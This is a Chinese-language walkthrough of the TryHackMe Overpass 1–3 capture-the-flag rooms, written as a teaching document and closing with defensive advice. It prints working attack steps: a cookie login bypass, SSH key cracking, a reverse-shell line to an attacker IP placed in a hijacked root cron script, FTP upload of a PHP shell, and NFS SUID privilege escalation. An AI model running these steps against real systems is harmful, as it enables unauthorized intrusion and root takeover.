THM 靶场 — Overpass-writeup
字数 1609 2025-08-22 12:22:54
Overpass靶场渗透测试教学文档
1. Overpass 1 靶场渗透
1.1 初始信息收集
-
端口扫描:
- 使用nmap扫描发现开放端口:22(SSH)、80(HTTP)
- 命令:
nmap -sV -p- <target_ip>
-
Web服务枚举:
- 访问80端口Web服务
- 重要页面:
- About Us:收集员工姓名(潜在用户名)
- Downloads:查看可下载的软件和源码
- 目录爆破发现重要路由:/admin
1.2 获取初始访问权限
-
利用登录页面漏洞:
- 检查
/admin页面的login.js文件 - 发现可通过设置特定Cookie绕过认证:
curl http://<target_ip>/admin/ --cookie "SessionToken=statusOrCookie" - 响应中包含SSH私钥
- 检查
-
破解SSH私钥:
- 使用
ssh2john转换私钥格式:python ssh2john.py id_rsa > id_rsa.hash - 使用John破解私钥密码:
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash - 使用破解的密码登录SSH:
ssh -i id_rsa james@<target_ip>
- 使用
1.3 权限提升
-
查找提权路径:
- 检查定时任务:
crontab -l - 发现root用户定期执行curl下载并运行脚本:
curl http://<target_ip>/downloads/src/buildscript.sh | bash
- 检查定时任务:
-
设置恶意脚本:
- 在本地创建恶意脚本:
mkdir -p downloads/src echo '#!/bin/bash' > downloads/src/buildscript.sh echo 'bash -i >& /dev/tcp/<your_ip>/5678 0>&1' >> downloads/src/buildscript.sh - 启动Python HTTP服务器:
python3 -m http.server 80 - 修改目标主机
/etc/hosts文件,将域名解析到攻击者IP
- 在本地创建恶意脚本:
-
获取root shell:
- 在攻击机启动监听:
nc -lvnp 5678 - 等待定时任务执行,获取root shell
- 在攻击机启动监听:
2. Overpass 2-Hacked 靶场取证
2.1 流量分析
-
上传反向shell的URL:
- 在Wireshark中过滤HTTP流量
- 查找文件上传请求
-
攻击载荷分析:
- 追踪文件上传流,查看上传的反向shell内容
-
凭证提取:
- 过滤TCP流量,搜索"password"字符串
- 找到攻击者使用的密码
2.2 持久性机制
-
后门安装:
- 发现攻击者使用git克隆SSH后门:
git clone https://github.com/NinjaJc01/ssh-backdoor
- 发现攻击者使用git克隆SSH后门:
-
密码破解:
- 从流量中提取
/etc/passwd文件 - 使用John破解:
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd - 发现4个可破解的系统密码
- 从流量中提取
2.3 后门分析
-
哈希分析:
- 查找后门的默认哈希值
- 查找硬编码的盐值
- 提取攻击者使用的哈希值
-
密码破解:
- 使用rockyou字典破解哈希:
john --wordlist=/usr/share/wordlists/rockyou.txt hashfile
- 使用rockyou字典破解哈希:
-
网站污损:
- 访问目标Web服务,查看攻击者留下的标题信息
3. Overpass 3-Hosting 靶场渗透
3.1 初始信息收集
-
端口扫描:
- 发现开放端口:21(FTP)、22(SSH)、80(HTTP)
-
Web目录爆破:
- 发现
/backups目录 - 下载
backup.zip文件
- 发现
3.2 文件解密
- GPG解密:
- 导入私钥:
gpg --import priv.key - 解密文件:
gpg --decrypt CustomerDetails.xlsx.gpg > CustomerDetails.xlsx - 获得凭证:paradox:ShibesAreGreat123
- 导入私钥:
3.3 FTP利用
-
FTP登录:
ftp <target_ip>- 使用获得的凭证登录
-
上传反向shell:
- 上传PHP反向shell到Web目录
- 通过Web访问触发反向shell
3.4 权限提升
-
NFS提权:
- 使用
linpeas.sh发现NFS配置漏洞 - 发现
no_root_squash选项启用
- 使用
-
端口转发:
- 转发NFS端口到本地:
ssh -fN -L 4090:localhost:2049 -i paradox paradox@<target_ip>
- 转发NFS端口到本地:
-
挂载NFS:
sudo mount -t nfs -o port=4090 127.0.0.1:/ /tmp/nfs -
创建SUID二进制:
- 在挂载点创建恶意二进制:
cp /bin/bash /tmp/nfs/cxcx chown root.root /tmp/nfs/cxcx chmod +s /tmp/nfs/cxcx - 在目标主机执行:
./cxcx -p - 获取root权限
- 在挂载点创建恶意二进制:
关键工具总结
-
扫描工具:
- nmap:端口扫描和服务识别
- dirb/gobuster:Web目录爆破
-
密码破解:
- ssh2john + john:破解SSH私钥密码
- john:破解系统密码和哈希
-
后渗透工具:
- linpeas.sh:Linux权限提升枚举
- Python HTTP服务器:托管恶意文件
-
流量分析:
- Wireshark:PCAP文件分析
-
加密解密:
- gpg:文件加密解密
防御建议
-
安全配置:
- 禁用不必要的服务(NFS、FTP等)
- 正确配置共享目录权限
-
认证安全:
- 使用强密码策略
- 禁用SSH密码认证,使用密钥认证
-
代码安全:
- 不在客户端存储敏感信息(如login.js中的认证逻辑)
- 对用户输入进行严格过滤
-
监控:
- 监控异常网络流量(如反向shell连接)
- 定期检查系统日志和文件完整性